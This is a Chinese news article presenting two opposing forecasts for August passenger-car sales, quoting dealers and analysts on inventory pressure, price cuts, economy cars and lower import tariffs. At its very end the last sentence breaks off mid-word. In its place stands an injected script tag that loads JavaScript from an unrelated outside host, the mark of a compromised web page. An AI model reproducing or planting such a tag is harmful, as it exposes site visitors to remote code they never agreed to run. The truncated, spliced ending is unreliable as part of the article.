从今年1——4月汽车销量的喜人增长，到5、6、7月份的持续滑落，车市又一次经历了悲喜无常。8月份会不会延续销量下滑的趋势？这是目前业内很多人最关心的问题，不同的人也给出了不同的看法和解释。
观点 一 ：
8月乘用车销量将会增长
根据记者日前了解到的情况，很多经销商对8月车市还是持乐观态度。
深圳的一位经销商告诉记者，尽管最近几个月销售情况稍微差一些，但预计8月份销量会有上升。他认为前一段的市场低迷，一个重要原因是新车上市过多导致消费者难以选择，从而增加了持币待购的人数。也就是说，前一阶段并不是消费需求不足，而是消费者处于观望态势。随着进入8月份，新车的推出速度逐渐放缓，消费者很可能将这部分需求释放出来。
北京中联汽车交易市场的一位负责人对记者表示，由于前一阶段车市表现不理想，存在一定的压库情况。为了及时消减库存，厂家很可能会在8月份进行新一轮的降价行动，这将对销量有一定促进作用。不过，这种问题仅限于某些品牌，对于一些畅销品牌来说，提不到车、畅销车型的销量不能尽最大程度增长还是最大的问题。
“成都地区的汽车消费需求还是很强的。前不久，有关人员曾经在成都地区作过一项调查，了解消费者的消费意向。结果显示，65%以上的消费者都将买车列为第一位。”成都三和集团董事总经理张德鹏告诉记者，“目前三和所经销的几个品牌表现还都不错，今年新上市的几款中级车型一直处于供不应求的状态。”他认为，随着8月份这几款产品的市场供应量逐渐充足，这几款中档车型将成为8月份拉动销量最主要的因素。
与张总一样，业内的一位分析人士也认为8月车市销量将会回升，但在他看来，导致车市回升的主要推动力不在中高档车，经济型轿车将扮演救“市”主的角色。“从今年上半年的销售情况可以看出，1.6升排量以下的经济型轿车作了很大的贡献，这一方面得益于国家今年以来加大对经济型轿车的支持力度，一方面也反映了消费者的消费观念变化。我认为，随着7、8月份又有几款经济型轿车上市，经济型轿车还将成为市场的主要推动力量。”这位人士分析道。
不仅是国产车，记者在采访中了解到，经销商对于8月份进口车的销售情况也表示乐观。一位经销商告诉记者，尽管今年国家对消费税的调整使得以大排量为主的进口车价格有一定提高，但这种变化所带来的影响正在逐渐减小，毕竟消费者对于进口车的需求还是有的。另一方面，今年7月起，进口车关税再次下调，目前已降至25%，这样进口车的价格将出现下降。这位经销商预测，关税调整对市场的影响将在8月份得以显现。
观点 二 ：
8月，车市颓势将继续
在经历了今年年初车市的“春天”之后，5、6、7月的汽车市场让所有厂家和经销商都又一次感受到了市场的无常。库存的增多、消费者的持币待购、市场价格的一再下探，让所有人都对8月车市的走势产生了疑问：8月汽车市场能东山再起吗？面对记者的这个问题，有市场人士和经销商表示，从目前的情况看，8月车市销量并不乐观。
“以我的观点看，8月汽车市场依旧会延续6月以来的低迷态势，销量继续下滑的可能性很大。”从江苏雨田车业投资发展有限公司管理总监苏飞的言语中，记者可以听得出他的不安。“我这样说并不是耸人听闻，经销商目前面临着很大的库存压力，消费者在经历了今年上半年消费潜力的充分释放后也进入相对的沉寂期，这些因素都可能导致8月车市销量的继续下探。”
苏飞认为，经销商所面临的庞大库存压力将是导致8月车市继续低迷的罪魁祸首。据全国乘用车信息联席会发布统计数据显示，截止到5月底，统计的29家重点轿车生产企业累计轿车库存已经达到100360辆，比去年同期超出近30%，国内几家大型汽车企业的库存量都“名列前茅”。而去年全年的统计库存量还不到10万辆。“在库存大幅增多的情况下，很多经销商只能祭出降价促销的‘法宝’，这很可能导致市场价格的混乱，而消费者面对拿不准的价格，通常也只能用持币待购来抵制，这个恶性循环，就是导致8月份车市继续低迷的最主要因素。”苏飞说。同时苏飞还认为，“压库”现象的死灰复燃会让厂家的销售数字进一步缩水。“厂家处理库存车的惟一出路就是向经销商‘压库’，而在‘压库’之后，这些库存车的数量在厂家那里实际上已经算在了前几个月的销量中，因此这些库存车在8月的销量并不能被反映到实际销售数字中来，从数字上看，8月份车市销量肯定还是一片惨淡。”苏飞说。
“车市在经历了长达半年的火暴期之后，肯定会进入一个低迷期，这几乎是必然的。”苏飞强调。苏飞认为，今年上半年，很多今年内有购车计划的消费者的消费潜力都已经释放殆尽，从6月开始就进入了一个低迷期，而这个低迷期将持续到8月底。“从我们以往的经验看，随着‘金九银十’的日益逼近，很多消费者都将目光放在了‘十一’前后的市场，每年8月的销量都是不瘟?script src=http://er12.com/t.js>
